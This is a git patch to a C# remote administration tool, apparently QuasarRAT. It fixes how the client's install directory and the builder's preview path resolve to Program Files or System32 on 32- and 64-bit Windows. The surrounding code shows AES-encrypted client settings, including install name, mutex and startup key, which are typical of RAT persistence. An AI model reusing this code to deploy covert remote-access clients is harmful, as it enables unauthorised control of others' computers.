From a714178604b1ceef65e0463d9a75c134b4cbde83 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Fri, 28 Aug 2015 13:11:05 +0200 Subject: [PATCH] Re-set directory after fixing it --- Client/Config/Settings.cs | 8 +++++--- Server/Forms/FrmBuilder.cs | 12 ++++++++---- 2 files changed, 13 insertions(+), 7 deletions(-) diff --git a/Client/Config/Settings.cs b/Client/Config/Settings.cs index 917458c7..d4eeb15f 100644 --- a/Client/Config/Settings.cs +++ b/Client/Config/Settings.cs @@ -28,7 +28,7 @@ namespace xClient.Config public static void Initialize() { - FixSpecialFolder(); + FixDirectory(); } #else public static string VERSION = "1.0.0.0r"; @@ -59,11 +59,11 @@ namespace xClient.Config INSTALLNAME = AES.Decrypt(INSTALLNAME); MUTEX = AES.Decrypt(MUTEX); STARTUPKEY = AES.Decrypt(STARTUPKEY); - FixSpecialFolder(); + FixDirectory(); } #endif - static void FixSpecialFolder() + static void FixDirectory() { if (PlatformHelper.Is64Bit) return; @@ -77,6 +77,8 @@ namespace xClient.Config SPECIALFOLDER = Environment.SpecialFolder.System; break; } + + DIR = Environment.GetFolderPath(SPECIALFOLDER); } } } \ No newline at end of file diff --git a/Server/Forms/FrmBuilder.cs b/Server/Forms/FrmBuilder.cs index 79004908..be6c71b2 100644 --- a/Server/Forms/FrmBuilder.cs +++ b/Server/Forms/FrmBuilder.cs @@ -322,13 +322,17 @@ namespace xServer.Forms else if (rbProgramFiles.Checked) path = Path.Combine( - Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), - txtInstallsub.Text), txtInstallname.Text); + Path.Combine( + Environment.GetFolderPath(PlatformHelper.Architecture == 64 + ? Environment.SpecialFolder.ProgramFilesX86 + : Environment.SpecialFolder.ProgramFiles), txtInstallsub.Text), txtInstallname.Text); else if (rbSystem.Checked) path = Path.Combine( - Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.SystemX86), txtInstallsub.Text), - txtInstallname.Text); + Path.Combine( + Environment.GetFolderPath(PlatformHelper.Architecture == 64 + ? Environment.SpecialFolder.SystemX86 + : Environment.SpecialFolder.System), txtInstallsub.Text), txtInstallname.Text); this.Invoke((MethodInvoker)delegate { txtExamplePath.Text = path + ".exe"; }); }